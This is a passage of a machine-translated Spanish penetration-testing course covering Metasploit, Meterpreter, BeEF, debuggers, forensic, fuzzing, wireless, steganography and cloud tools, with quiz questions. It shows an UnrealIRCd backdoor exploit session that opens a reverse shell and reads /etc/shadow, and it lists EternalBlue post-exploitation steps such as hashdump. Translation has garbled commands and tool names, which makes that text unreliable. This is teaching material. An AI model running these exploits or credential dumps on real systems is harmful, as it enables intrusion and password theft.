Después de iniciar el servicio PostgreSQL, debe crear e inicializar la base de datos
Metasploit con el comando msfdb init, como se muestra en el Ejemplo 10-41.
Ejemplo 10-41 - Inicialización de la base de datos de Metasploit
root@ kali:~ # msfdb init
Creando usuario de base de datos 'msf'
Introduzca la contraseña para el nuevo rol:
Introdúcelo de nuevo:
Creando las bases de datos 'msf' y 'msf_test'
Creando archivo de configuración en /usr/share/metasploit-framework/config/

93
base de [Link]
Creación del esquema inicial de la base de datos
Puede buscar exploits, módulos auxiliares y otros módulos utilizando el comando de
búsqueda, como se muestra en la Figura 10-26.
Figura 10-26 - Búsqueda de exploits y otros módulos en Metasploit

Veamos cómo explotar una vulnerabilidad en un servidor Linux. El ejemplo 10-42


muestra una explotación de una vulnerabilidad en un servidor IRC ([Link])
mediante el comando `exploit/unix/irc/unreal_ircd_3281_backdoor`. Se configura el
host remoto (RHOST), [Link], y se ejecuta la explotación con el comando
correspondiente.
Ejemplo 10-42 - Ejecutar un exploit en Metasploit
msf > usar exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > establecer RHOST [Link]
RHOST => [Link]
Explotación de msf (unix/irc/unreal_ircd_3281_backdoor) > explotación
[*] Se inició el controlador doble TCP inverso en [Link]:4444
[*] [Link]:6667 - Conectado a [Link]:6667...
:[Link] AVISO DE AUTENTICACIÓN :*** Buscando tu
nombre de host...
[*] [Link]:6667 - Enviando comando de puerta trasera...
[*] Se aceptó la primera conexión del cliente...
[*] Se aceptó la segunda conexión del cliente...
[*] Comando: echo mXnMNBF5GI0w7efl;
[*] Escribiendo en el socket A
[*] Escribiendo en el socket B
[*] Lectura desde sockets...
[*] Lectura desde el conector B

94
[*] B: "mXnMNBF5GI0w7efl\r\n"
[*] Coincidencia...
[*] A es una entrada...
[*] Sesión de shell de comandos 1 abierta ([Link]:4444 -> [Link]:42933) el
25/06/2018 a las 21:26:40 -0400

identificación
uid=0(raíz) gid=0(raíz)
cat /etc/shadow
raíz:$ 1$/ABC123BJ1$23z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
demonio:* :14684:0:99999:7:::
contenedor:* :14684:0:99999:7:::
<salida omitida por brevedad>
distccd:* :14698:0:99999:7:::
usuario:$1$HESu9xrH$ko 3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
En el Ejemplo 10-42, se observa que la explotación tuvo éxito y que se abrió una sesión
de shell (en la primera línea resaltada). Se ejecuta el comando `id` de Linux (segunda
línea resaltada) y se puede ver que la shell en el sistema comprometido se ejecuta
como root. A continuación, es posible comenzar a recopilar información adicional del
sistema comprometido. La tercera línea resaltada en el Ejemplo 10-42 muestra el
comando `cat /etc/shadow` utilizado para recuperar los hashes de las contraseñas de
usuario del sistema comprometido. Posteriormente, es posible descifrar esas
contraseñas sin conexión o, mejor aún, mientras se ejecuta como root, para crear
nuevos usuarios en los sistemas comprometidos.
CONSEJO: Puedes obtener un curso gratuito y completo de Metasploit en
[Link] . Este curso abarca todas
las opciones de Metasploit y su arquitectura. Te recomiendo explorar las opciones y
familiarizarte con otros módulos, como msfvenom, msf-pattern_create, msf-
pattern_offset y msf-metasm_shell.
Veamos un breve ejemplo de cómo se puede utilizar Meterpreter para actividades
posteriores a la explotación.
Seleccione cada uno de los siguientes pasos para ver un ejemplo de cómo se utiliza
Metasploit para explotar la vulnerabilidad EternalBlue (MS17-010) en Windows.
NOTA Para leer un boletín de seguridad de Microsoft que aborda esta vulnerabilidad,
visite [Link]
ms17-010 .
Paso 1. Crear una conexión TCP vinculada
Paso 1. Crear una conexión TCP vinculada
La figura 10-27 muestra la configuración de la carga útil de Meterpreter para una
conexión TCP vinculada (después de la explotación).
Figura 10-27 - Utilizar Meterpreter para crear una conexión TCP vinculada después de
la explotación

95
Paso 2. Ejecutar el exploit
Paso 2. Ejecutar el exploit
La figura 10-28 muestra el exploit ejecutado y una sesión de Meterpreter ahora activa.
Figura 10-28 - Explotación de una vulnerabilidad y establecimiento de una sesión
Meterpreter

Paso 3. Ver la lista de comandos - Parte 1


Paso 3. Ver la lista de comandos - Parte 1
Meterpreter permite ejecutar varios comandos para obtener información del sistema
comprometido y enviar otros comandos administrativos, como se muestra en la Figura
10-29, parte 1.
Figura 10-29 - Comandos de Meterpreter, Parte 1
96
Paso 3. Ver la lista de comandos - Parte 2
Paso 3. Ver la lista de comandos - Parte 2
En la figura 10-30, parte 2, se muestran más comandos de Meterpreter.
Figura 10-30 - Comandos de Meterpreter, Parte 2

Paso 4. Obtener todos los hashes de contraseñas


Paso 4. Obtener todos los hashes de contraseñas
La figura 10-31 muestra el comando hashdump de Meterpreter que se utiliza para
volcar todos los hashes de contraseña del sistema comprometido.
Figura 10-31 - El comando hashdump de Meterpreter

97
Paso 5. Obtener información adicional
Paso 5. Obtener información adicional
La figura 10-32 muestra los comandos `getsystem` y `sysinfo` de Meterpreter utilizados
para obtener información adicional del sistema comprometido. El comando
`screenshot` se utiliza para capturar una imagen del escritorio actual del sistema
comprometido (que muestra la actividad del usuario legítimo). La captura de pantalla
se guarda en un archivo (`/root/[Link]`) en el sistema atacante.
Figura 10-32 - Obtención de información del sistema y captura de una captura de
pantalla del escritorio del sistema de la víctima

98
CONSEJO: El framework Metasploit permite crear scripts, exploits y scripts
Meterpreter para la post-explotación. Estos scripts están escritos en Ruby y se
encuentran en el directorio principal de Metasploit, scripts/meterpreter. Puedes
consultar el código fuente de los scripts de Metasploit existentes en
[Link] .
Carne de res
BeEF es un framework de explotación para pruebas de aplicaciones web. BeEF explota
vulnerabilidades del navegador e interactúa con uno o más navegadores web para
ejecutar módulos de comandos dirigidos. Cada navegador se puede configurar en un
contexto de seguridad diferente. BeEF permite lanzar un conjunto de vectores de
ataque únicos y seleccionar módulos específicos en tiempo real para atacar cada
navegador y contexto.
NOTA: Puede descargar BeEF y obtener su documentación en [Link]
.
BeEF incluye numerosos módulos de comandos y utiliza una API robusta que permite a
los profesionales de seguridad desarrollar rápidamente módulos personalizados. La
figura 10-33 muestra una captura de pantalla de BeEF en Kali Linux.
Figura 10-33 - Carne de res

10.2.14 Práctica - Marcos de explotación


Pregunta 1
Pretendes explotar los navegadores de los usuarios como forma de atacar las
aplicaciones web de Pixel Paradise.
¿Qué marco de explotación aprovecha las vulnerabilidades del navegador del cliente
para llevar a cabo ataques a aplicaciones web?
Metasploit
Carne de res
Sysinternals
Meterpreter

99
Pregunta 2
¿Qué marco de explotación cuenta con una amplia gama de funciones, incluyendo la
creación de cargas útiles y la explotación de numerosas vulnerabilidades para el
mando y control?
SearchSploit
Metasploit
Sysinternals
Meterpreter
10.2.15 Herramientas comunes de descompilación, desensamblaje y depuración
Ahora vamos a repasar algunas de las herramientas de descompilación, desensamblaje
y depuración más populares del sector.
 El depurador del proyecto GNU (GDB)
 Depurador de Windows
 OllyDbg
 Depurador edb
 Ghidra
 Desensamblador interactivo (IDA)
 volcado de objetos
El depurador del proyecto GNU
El Depurador del Proyecto GNU ( GDB ) es uno de los depuradores más populares
entre desarrolladores de software y profesionales de seguridad. Con un depurador
como GDB, se pueden solucionar problemas y encontrar errores de software,
comprender qué estaba haciendo un programa en el momento del fallo, detener un
programa bajo condiciones específicas y modificar elementos de un programa para
experimentar o corregir problemas.
Tradicionalmente, GDB se ha utilizado principalmente para depurar programas escritos en C y
C++; sin embargo, también admite otros lenguajes de programación, como Go, Objective-C y
OpenCL C.
NOTA Para obtener una lista completa de los lenguajes de programación compatibles,
visite [Link] .
El ejemplo 10-43 muestra un ejemplo simple de cómo se utiliza GDB para depurar y
ejecutar una aplicación vulnerable (vuln_program) escrita en C.
El comando `run` se utiliza para ejecutar una aplicación dentro de GDB. El programa se
ejecuta y solicita que se introduzca texto. En este ejemplo, se introduce una gran
cantidad de caracteres A y el programa finaliza. Al ejecutar el comando `continue` de
GDB, se muestra el mensaje «Program terminated with signal SIGSEGV, Segmentation
fault». Esto indica un posible desbordamiento de búfer (como en el Ejemplo 10-43).
Ejemplo 10-43 - Uso de GDB para depurar una aplicación vulnerable
NOTA: El código fuente de la aplicación vulnerable del Ejemplo 10-43 está disponible
en
[Link]
xample .
root@ kali:~ # gdb vuln_program

100
GNU gdb (Debian 7.12-6+b1) 7.12.0.20161007-git
<salida omitida por brevedad>
Leyendo símbolos de vuln ... ( no se encontraron símbolos de depuración)... listo.
(gdb) ejecutar
Programa de inicio: /root/vuln_program
Introduzca algún texto:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA
AAAAAIngresaste:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA
AAAAA
El programa recibió la señal SIGILL, instrucción ilegal.
0x08048500 en main ()
(gdb) continuar
Continuo.
El programa finalizó con la señal SIGSEGV, Fallo de segmentación.
El programa ya no existe.
(gdb)
NOTA: El sitio web [Link] incluye ejemplos
adicionales de cómo usar GDB para depurar aplicaciones.
Depurador de Windows
Puede usar el Depurador de Windows (WinDbg) para depurar código en modo kernel y
en modo usuario. También puede usarlo para analizar volcados de memoria y los
registros de la CPU durante la ejecución del código. Puede obtener herramientas de
depuración de Microsoft mediante los siguientes métodos:
 Al descargar e instalar el Kit de controladores de Windows (WDK)
 Como conjunto de herramientas independiente
 Al descargar el Kit de desarrollo de software (SDK) de Windows
 Al descargar Microsoft Visual Studio
CONSEJO: Consulte el documento técnico «Primeros pasos con la depuración de
Windows de Microsoft» para aprender a usar WinDbg y las herramientas relacionadas;
consulte [Link]
getting-started-with-windows-debugging . Puede obtener información adicional sobre
la depuración de Windows y los símbolos en
[Link]
OllyDbg
OllyDbg es un depurador creado para analizar aplicaciones de Windows de 32 bits. Está
incluido en Kali Linux y otras distribuciones de pruebas de penetración; también se
puede descargar desde [Link] .
La figura 10-34 muestra una captura de pantalla de OllyDbg en Kali Linux. OllyDbg se utiliza
para depurar la versión de 32 bits para Windows del paquete de instalación de Git.
Figura 10-34 - Ejemplo de OllyDbg

101
Depurador edb
El depurador edb (a menudo llamado depurador de Evan) es un depurador
multiplataforma que admite arquitecturas AArch32, x86 y x86-64. Viene preinstalado
en Kali Linux y se puede descargar desde [Link] .
La figura 10-35 muestra el uso de edb para analizar el programa vulnerable utilizado
anteriormente en este módulo (vuln_program; véase el ejemplo 10-43). En este
ejemplo, el depurador edb recorre la ejecución del código paso a paso, y el usuario
introduce una gran cantidad de caracteres A, lo que provoca una vulnerabilidad de
desbordamiento de búfer. (Se pueden observar los distintos registros, como EIP, llenos
de A).
Figura 10-35 - Uso del depurador edb

102
CONSEJO: Tu rol como analista de seguridad junior no requiere que seas un experto en
registros, punteros de instrucción o lenguaje ensamblador. Sin embargo, si deseas
comprender mejor cómo funcionan los registros, consulta el repositorio de GitHub de
Art of Hacking, en
[Link]
xample/[Link] .
Ghidra
Ghidra es una potente herramienta gratuita muy popular entre los investigadores de
seguridad para la ingeniería inversa y el análisis de binarios. Desarrollada por la NSA,
Ghidra ofrece amplias capacidades para analizar y comprender software complejo,
incluyendo el análisis de malware y la investigación de vulnerabilidades. Su
característica más destacada es un descompilador integrado que facilita el análisis de
código binario. Si bien no permite el desarrollo directo de exploits, las amplias
capacidades de scripting de Ghidra (con API basadas en Java y Python) permiten a los
usuarios crear scripts de análisis personalizados. Puedes descargar Ghidra desde
[Link] .
Desensamblador interactivo (IDA)
Interactive Disassembler (IDA) es uno de los desensambladores, depuradores y
descompiladores más populares del mercado. IDA es un producto comercial de Hex-
Rays y se puede adquirir en [Link] .
La figura 10-36 muestra el uso de IDA para desensamblar y analizar el programa
vulnerable (vuln_program) utilizado anteriormente. Se puede observar el flujo de
control del programa y cómo el ejecutable se divide en bloques de funciones. Las
flechas de colores indican el flujo de control entre los bloques de funciones. Si una
flecha es roja, no se realiza un salto condicional. Si es verde, se realiza un salto, y si es
azul, se realiza un salto incondicional.
Figura 10-36 - Desensamblaje de un programa vulnerable mediante IDA

103
La figura 10-37 muestra el modo texto de IDA, donde se puede examinar todo el
código desensamblado del ejecutable bajo análisis. Los saltos incondicionales se
indican con líneas continuas y los saltos condicionales con líneas discontinuas.
Figura 10-37 - Ejemplo de capacidades de depuración y desensamblaje de IDA

volcado de objetos
Objdump es un programa de Linux que permite visualizar información sobre uno o más
archivos objeto. Puede utilizarse para realizar comprobaciones rápidas y el
desensamblaje de binarios, como se muestra en el Ejemplo 10-44.
Ejemplo 10-44 - Uso de Objdump para desensamblar una aplicación vulnerable

104
root@ kali:~ # objdump -d vuln_program
vuln_program: formato de archivo elf32-i386
Desensamblaje de la sección .init :
08048314 <_init>:
8048314: 53 push %ebx
8048315: 83 ec 08 sub $0x 8,% esp
8048318: e8 b3 00 00 00 llamada 80483d0 <__x86.get_pc_thunk.bx>
804831d: 81 c3 e3 1c 00 00 agregar $0x1ce 3,% ebx
8048323: 8b 83 fc ff ff ff mov -0x4(%ebx ),% eax
8048329: 85 c0 prueba % eax,% eax
804832b: 74 05 y 8048332 <_init+0x1e>
804832d: e8 3e 00 00 00 llamada 8048370 <__gmon_start__@plt>
8048332: 83 c4 08 agregar $0x 8,% esp
8048335: 5b pop %ebx
8048336: c3 retir
Desmontaje de la sección .plt :
08048340 <.plt >:
8048340: ff 35 04 a0 04 08 pushl 0x804a004
8048346: ff 25 08 a0 04 08 jmp *0x804a008
804834c: 00 00 agregar % al,( %eax)
...
08048350 <printf@plt>:
8048350: ff 25 0c a0 04 08 jmp *0x804a00c
8048356: 68 00 00 00 00 push $0x0
804835b: e9 e0 ff ff ff jmp 8048340 <.plt >
08048360 <puts@plt>:
8048360: ff 25 10 a0 04 08 jmp *0x804a010
8048366: 68 08 00 00 00 push $0x8
804836b: e9 d0 ff ff ff jmp 8048340 <.plt >
08048370 <__gmon_start__@plt>:
8048370: ff 25 14 a0 04 08 jmp *0x804a014
8048376: 68 10 00 00 00 push $0x10
804837b: e9 c0 ff ff ff jmp 8048340 <.plt >
08048380 <__libc_start_main@plt>:
8048380: ff 25 18 a0 04 08 jmp *0x804a018
8048386: 68 18 00 00 00 push $0x18
804838b: e9 b0 ff ff ff jmp 8048340 <.plt >
<salida omitida por brevedad>
CONSEJO El repositorio de GitHub The Art of Hacking incluye una lista de numerosas
herramientas que se pueden utilizar para la ingeniería inversa:
[Link]
ng .
10.2.16 Práctica - Herramientas comunes de descompilación, desensamblaje y
depuración
Al investigar el sistema de archivos de un host en la red Pixel Paradise, descubre un
archivo binario sospechoso de contener malware. Es importante investigar el propósito
y la función del archivo para determinar si ha causado daños, pérdida de archivos o la

105
creación de vulnerabilidades adicionales. Esto suele requerir la descompilación del
archivo para analizar su código fuente. Existen diversas herramientas disponibles para
el análisis de binarios.
Relacione las herramientas de descompilación, desensamblaje y depuración con sus
descripciones.

10.2.17 Herramientas comunes para análisis forense


A continuación se muestran algunos ejemplos de herramientas y distribuciones de
Linux que se pueden utilizar para análisis forense:
 ADIA (Dispositivo para Investigación y Análisis Digital): ADIA es un dispositivo
basado en VMware utilizado para la investigación y adquisición digital, construido
íntegramente con software de dominio público. Entre las herramientas que incluye
ADIA se encuentran Autopsy, Sleuth Kit, Digital Forensics Framework, log2timeline,
Xplico y Wireshark. La mayor parte del mantenimiento del sistema se realiza con
Webmin. ADIA está diseñado para investigaciones y adquisiciones digitales de
pequeña a mediana escala. El dispositivo funciona en Linux, Windows y macOS.
Están disponibles las versiones i386 (32 bits) y x86_64 (64 bits). Puede descargar
ADIA desde [Link] .
 CAINE: El Entorno de Investigación Asistida por Ordenador (CAINE) contiene
numerosas herramientas que ayudan a los investigadores con los análisis, incluida
la recopilación de pruebas forenses. Puede descargar CAINE desde
[Link] .
 Skadi: Esta solución integral para el análisis de datos recopilados facilita la
búsqueda de datos mediante búsquedas comunes integradas y permite la
búsqueda simultánea en uno o varios hosts. Puede descargar Skadi desde
[Link] .
 PALADIN: PALADIN es una distribución de Linux modificada para realizar diversas
tareas de recolección de evidencia de manera forense rigurosa. Incluye numerosas

106
herramientas forenses de código abierto. Puede descargar PALADIN desde
[Link] .
 Security Onion: Security Onion, una distribución de Linux orientada a la
monitorización de la seguridad de la red, incluye herramientas de análisis
avanzadas, algunas de las cuales pueden ser útiles en investigaciones forenses.
Puede descargar Security Onion desde [Link]
Solutions/security-onion .
 Estación de trabajo SIFT: La estación de trabajo SIFT (SANS Investigative Forensic
Toolkit) demuestra que es posible lograr capacidades avanzadas de respuesta a
incidentes y técnicas forenses digitales exhaustivas para la detección de intrusiones
mediante herramientas de código abierto de vanguardia, disponibles
gratuitamente y con actualizaciones frecuentes. Puede descargar la estación de
trabajo SIFT desde [Link] .
NOTA: El repositorio de GitHub de The Art of Hacking incluye una lista de numerosas
herramientas que se pueden utilizar para análisis forense: [Link]
of-Hacking/art-of-hacking/tree/master/dfir .
10.2.18 Práctica - Herramientas comunes para análisis forense
Relacione la herramienta forense o la distribución de Linux con la descripción.

10.2.19 Herramientas comunes para el aseguramiento del software


Seleccione cada una de las siguientes herramientas para obtener más información
sobre cómo se pueden utilizar para realizar pruebas de robustez de software y
protocolos, incluidos los fuzzers y las herramientas de análisis de código.
SpotBugs, Findsecbugs y SonarQube
SpotBugs, Findsecbugs y SonarQube
 SpotBugs (anteriormente conocido como Findbugs) es una herramienta de análisis
estático diseñada para encontrar errores en aplicaciones creadas en el lenguaje de
programación Java. Puede descargar SpotBugs y obtener más información en
[Link] .
 Findsecbugs es otra herramienta diseñada para encontrar errores en aplicaciones
creadas con el lenguaje de programación Java. Se puede usar con sistemas de
integración continua como Jenkins y SonarQube. Findsecbugs es compatible con
frameworks Java populares, como Spring MCV, Apache Struts y Tapestry. Puedes

107
descargar Findsecbugs y obtener más información en [Link]
[Link] .
 SonarQube SonarQube es una herramienta que permite detectar vulnerabilidades
en el código y ofrece soporte para entornos de integración continua y DevOps.
Puede obtener más información sobre SonarQube en [Link] .
Fuzzers y pruebas de fuzzing
Fuzzers y pruebas de fuzzing
Las pruebas de fuzzing , o fuzzing , son una técnica que se utiliza para detectar errores
de software (o bugs) y vulnerabilidades de seguridad en aplicaciones, sistemas
operativos, dispositivos de infraestructura, dispositivos IoT y otros dispositivos
informáticos. El fuzzing consiste en enviar datos aleatorios a la unidad que se está
probando para encontrar problemas de validación de entrada, fallos de programa,
desbordamientos de búfer y otros defectos. Las herramientas que se utilizan para
realizar fuzzing se denominan fuzzers . Algunos ejemplos de fuzzers populares son
Peach, Mutiny Fuzzing Framework y American Fuzzy Lop.
Durazno
Durazno
Peach es uno de los fuzzers más populares del sector. Existe una versión gratuita (de
código abierto), la Peach Fuzzer Community Edition, y una versión comercial. Puedes
descargar la Peach Fuzzer Community Edition y obtener más información sobre la
versión comercial en [Link] .
Marco de Fuzzing de Motín
Marco de Fuzzing de Motín
Mutiny Fuzzing Framework es un fuzzer de código abierto creado por Cisco. Funciona
reproduciendo archivos de captura de paquetes (pcaps) mediante un fuzzer
mutacional. Puede descargar Mutiny Fuzzing Framework y obtener más información
en [Link] .
NOTA: El framework Mutiny Fuzzing utiliza Radamsa para realizar mutaciones.
Radamsa es una herramienta que se puede usar para generar casos de prueba para
fuzzers. Puede descargar Radamsa y obtener información adicional sobre ella en
[Link] .
Lomo esponjoso americano
Lomo esponjoso americano
American Fuzzy Lop (AFL) es una herramienta que proporciona instrumentación en
tiempo de compilación y algoritmos genéticos para mejorar automáticamente la
cobertura funcional de los casos de prueba de fuzzing. Puede obtener información
sobre AFL en [Link] .
10.2.20 Práctica - Herramientas comunes para el aseguramiento del software
Relacione la herramienta de garantía de software con su descripción.

108
10.2.21 Herramientas inalámbricas
El módulo 5, «Explotación de redes cableadas e inalámbricas», explica cómo hackear
redes inalámbricas. Describe herramientas como Aircrack-ng, Kismet, KisMAC y otras
que se pueden usar para analizar redes inalámbricas. Consulte el módulo 5 para
obtener más información sobre estas herramientas.
Las siguientes son varias herramientas de hacking inalámbricas que pueden ayudar a
probar redes inalámbricas:
 Wifite2: Este es un programa de Python para probar redes inalámbricas que se
puede descargar desde [Link] .
 Puntos de acceso no autorizados: Puedes crear fácilmente puntos de acceso no
autorizados utilizando herramientas de código abierto como hostapd. Omar Santos
tiene una descripción de cómo construir tu propio laboratorio de hacking
inalámbrico y usar hostapd en
[Link]
virtual_adapters.md .
 EAPHammer: Esta herramienta, que puede utilizar para realizar ataques de gemelo
malvado, se puede descargar desde [Link] .
 mdk4: Esta herramienta se utiliza para realizar fuzzing, evasión de IDS y otros
ataques inalámbricos. mdk4 se puede descargar desde
[Link] .
 Spooftooph: Esta herramienta se utiliza para suplantar y clonar dispositivos
Bluetooth. Se puede descargar desde
[Link] .
 Reaver: Esta herramienta se utiliza para realizar ataques de fuerza bruta contra
implementaciones de Wi-Fi Protected Setup (WPS). Reaver se puede descargar
desde [Link] .
 Motor de registro geográfico inalámbrico (WiGLE): Puede obtener más
información sobre esta herramienta de guerra en [Link] .
 Fern Wi-Fi Cracker: Esta herramienta se utiliza para realizar diferentes ataques
contra redes inalámbricas, incluyendo el descifrado de claves WEP, WPA y WPS.

109
Puede descargar Fern Wi-Fi Cracker desde
[Link] .
10.2.22 Práctica - Herramientas inalámbricas
Pregunta 1
Relacione la herramienta de pirateo inalámbrico con la descripción.

Pregunta 2
Estás evaluando la seguridad física de las instalaciones de un cliente de pruebas de
penetración y observas que los empleados llevan sus portátiles a la cafetería de
enfrente para trabajar mientras comen. Te preguntas si podrías acceder a sus
portátiles por Bluetooth haciéndote pasar por un cliente de la cafetería.
¿Qué herramienta utilizaría para suplantar y clonar dispositivos Bluetooth con el fin de
obtener acceso inalámbrico no autorizado a los portátiles vulnerables de los
empleados?
Saqueador
Spoofooph
mdk4
Wifite2
Pregunta 3
Un cliente privado de alto perfil le ha contratado para realizar una auditoría de
seguridad en su domicilio. Le preocupa que fans o periodistas puedan acceder a su red
personal. El cliente le comentó que su hijo adolescente configuró la red inalámbrica,
por lo que le preocupa que pueda haber vulnerabilidades en la configuración de la red,
especialmente en el protocolo WPS.
¿Qué herramienta inalámbrica es la más adecuada para verificar la seguridad de la
implementación WPS en el domicilio del cliente?
Saqueador
EAMartillo
Wifite2
mdk4
10.2.23 Herramientas de esteganografía

110
En el módulo 8, aprendiste que la esteganografía es el acto de ocultar información en
imágenes, vídeos y otros archivos. También aprendiste sobre herramientas como
Steghide. A continuación, se presentan algunas herramientas adicionales que se
pueden usar para realizar esteganografía:
 OpenStego: Puedes descargar esta herramienta de esteganografía desde
[Link] .
 snow: Esta es una herramienta de esteganografía basada en texto que se puede
descargar desde [Link] .
 Coagula: Este programa, que se puede utilizar para crear sonido a partir de una
imagen, se puede descargar desde [Link]
.
 Visualizador sonoro: Esta herramienta se puede utilizar para analizar la
información incrustada en música o grabaciones de audio. Se puede descargar
desde [Link] .
 TinEye: Este es un sitio web de búsqueda inversa de imágenes en
[Link] .
 metagoofil: Esta herramienta se puede utilizar para extraer información de
metadatos de documentos e imágenes. Puede descargar metagoofil desde
[Link] .
10.2.24 Práctica - Herramientas de esteganografía
Relacione la herramienta de esteganografía con su descripción.

10.2.25 Herramientas en la nube


En el módulo 7, «Seguridad en la nube, dispositivos móviles e IoT», aprendió sobre
diversas herramientas que se pueden usar para probar soluciones basadas en la nube.
A continuación, se presentan algunas herramientas adicionales que se pueden usar
para realizar evaluaciones basadas en la nube:
 ScoutSuite: Este conjunto de herramientas permite detectar vulnerabilidades en
AWS, Azure, Google Cloud Platform y otras plataformas en la nube. Puede
descargar ScoutSuite desde [Link] .
 CloudBrute: Puedes descargar esta herramienta de enumeración en la nube desde
[Link] .
 Pacu: Este es un marco de trabajo para la explotación de AWS que se puede
descargar desde [Link] .

111
 Cloud Custodian: Esta herramienta de seguridad, gobernanza y gestión en la nube
se puede descargar desde [Link] .
10.2.26 Práctica - Herramientas en la nube
Relacione la herramienta en la nube con la descripción.

10.3.1 ¿Qué aprendí en este módulo?


Comprender los conceptos básicos de la programación y el desarrollo de software
Esta sección ofrece una amplia introducción a los aspectos fundamentales de la
programación, dividiéndola en varios componentes:
Estructuras lógicas: Son los componentes básicos de la programación, que determinan
cómo un programa ejecuta las instrucciones.
 Los bucles permiten la repetición de secciones de código, siendo los bucles 'for' y
'while' ejemplos populares.
 Las condicionales se ocupan de la toma de decisiones en programación. La
instrucción 'if' es una expresión condicional común.
 Los operadores booleanos (AND, OR, NOT) se utilizan para combinar o excluir
palabras clave en una búsqueda.
 Los operadores de cadena permiten la manipulación de valores variables.
 Los operadores aritméticos realizan operaciones matemáticas sobre los
operandos.
Estructuras de datos: Se utilizan para organizar, procesar, recuperar y almacenar
datos.
 JSON (JavaScript Object Notation) es un formato de datos ligero y fácil de entender
que se utiliza a menudo con las API RESTful.
 Los arrays son variables que pueden contener múltiples valores.
 Los diccionarios almacenan datos en una estructura ordenada de pares
clave/valor.
 Los archivos CSV son archivos de texto plano con datos delimitados por comas u
otros caracteres.
 Las listas son estructuras ordenadas de elementos.
 Los árboles representan datos jerárquicos mediante nodos.
Bibliotecas: Son colecciones de recursos, que incluyen código preescrito, subrutinas,
documentación y plantillas, que pueden ser reutilizadas por los programas.
Procedimientos: Son secciones de código creadas para realizar tareas específicas, lo
que simplifica y conciso el código. Son similares a las funciones y pueden utilizarse
varias veces a lo largo de un programa.
Funciones: Las funciones son bloques de código que se ejecutan cuando se les llama, y
que normalmente realizan tareas similares de forma repetida.
112
Clases: En la programación orientada a objetos, una clase es un modelo para crear
objetos, que proporciona valores iniciales para las variables miembro y las funciones o
métodos.
Esta sección también subraya la importancia de aprender y comprender diferentes
lenguajes de programación, en particular Bash, Python, Ruby, PowerShell, Perl y
JavaScript, para tareas como las pruebas de penetración.
Bash: Es un intérprete de comandos y una consola de comandos disponible en diversos
sistemas operativos. Conocer Bash facilita la creación de scripts, el análisis de datos y
la automatización de tareas, aspectos cruciales para las pruebas de penetración.
Recursos como el Tutorial de scripting de Bash de Linux Config y la Guía de referencia
de programación de Bash de DevHints pueden ayudarte a aprender Bash.
Python: Python es un lenguaje versátil y ampliamente utilizado, ideal para automatizar
tareas repetitivas, desarrollar aplicaciones y realizar pruebas de penetración. Se
recomiendan sitios web como W3 Schools, Tutorials Point, The Python Guru y Omar's
WebSploit Virtual Labs Python Playground para aprender Python.
Ruby: Utilizado en muchas aplicaciones web y de otro tipo, entre los recursos para
aprender Ruby se incluyen el tutorial Ruby in Twenty Minutes, Learn Ruby Online y el
repositorio de GitHub, que contiene una colección de bibliotecas, herramientas,
marcos de trabajo y software de Ruby.
PowerShell: útil para actividades de explotación y post-explotación, Microsoft ofrece
una colección de cursos y tutoriales de vídeo gratuitos sobre PowerShell en la
Microsoft Virtual Academy.
Perl: Existen varios recursos en línea para aprender Perl, incluyendo TutorialsPoint Perl
Tutorial, [Link] y PerlMaven Tutorial.
JavaScript: Para aprender JavaScript, considere recursos como A Re-introduction to
JavaScript, MDN JavaScript Reference, Eloquent JavaScript, Code Academy's
introduction to JavaScript y W3 Schools JavaScript Tutorial.
Comprender los diferentes casos de uso de las herramientas de pruebas de
penetración y analizar el código de explotación.
Esta sección abarca las herramientas más utilizadas en las pruebas de penetración.
Distribuciones de Linux centradas en pruebas de penetración
 Kali Linux : Una de las distribuciones Linux más conocidas para pruebas de
penetración, Kali Linux se basa en Debian GNU/Linux y ha evolucionado a partir de
distribuciones anteriores como WHoppiX, WHAX y BackTrack. Viene con cientos de
herramientas preinstaladas para pruebas de penetración, y la comunidad
contribuye continuamente con nuevas herramientas. Kali Linux es accesible
mediante una imagen Live en CD/DVD/USB/PXE, lo que permite una instalación
desde cero.
 Parrot OS : Esta distribución de Linux basada en Debian se centra en las pruebas de
penetración, la informática forense y la protección de la privacidad.
 BlackArch Linux : BlackArch Linux incluye más de 1900 herramientas de pruebas de
penetración de seguridad. Esta distribución se puede descargar desde su sitio web
oficial, donde también está disponible su documentación.
Herramientas para el reconocimiento pasivo
 Nslookup, Host y Dig : Estas son herramientas basadas en DNS que se utilizan para
el reconocimiento pasivo. Permiten recopilar información sobre un dominio, como
las direcciones IP asociadas a él.

113
 Whois : La utilidad Whois se utiliza para consultar la base de datos Whois, que
contiene información sobre registros de dominios. Proporciona detalles como el
propietario del dominio, la fecha de registro y la información de contacto. Sin
embargo, debido a las restricciones del RGPD, la cantidad de información
disponible a través de Whois se ha visto limitada.
 FOCA (Fingerprinting Organization with Collected Archives): FOCA es una
herramienta diseñada para encontrar metadatos e información oculta en diversos
tipos de documentos, como sitios web, archivos de Microsoft Office, PDF y más.
Puede utilizarse para extraer información como datos EXIF de archivos gráficos y
analizar URL.
 ExifTool : ExifTool es una herramienta popular para extraer información EXIF
(Formato de Archivo de Imagen Intercambiable) de las imágenes. Puede revelar
detalles sobre el dispositivo utilizado para capturar la imagen, como el modelo de
la cámara, la fecha y la hora, las coordenadas GPS y más.
 theHarvester : theHarvester es una herramienta versátil para la enumeración de
DNS. Puede consultar múltiples fuentes de datos, incluyendo motores de búsqueda
como Google y Bing, plataformas de redes sociales como Twitter y LinkedIn,
servidores PGP y más. Ayuda a recopilar información sobre un dominio objetivo,
como subdominios y direcciones de correo electrónico asociadas.
 Shodan : Shodan es un potente motor de búsqueda que analiza e indexa
dispositivos conectados a Internet. Permite a los usuarios buscar dispositivos,
servicios o vulnerabilidades específicos. Shodan puede ayudar a identificar
sistemas expuestos y potencialmente vulnerables, como dispositivos IoT o de
infraestructura mal configurados.
 Maltego : Maltego es una herramienta ampliamente utilizada para el
reconocimiento pasivo que recopila información de registros públicos. Admite
diversas integraciones con fuentes de terceros y ofrece diferentes versiones,
incluyendo una edición comunitaria gratuita. Maltego permite encontrar
información sobre personas, empresas, organizaciones y más, presentando los
resultados de forma jerárquica y organizada.
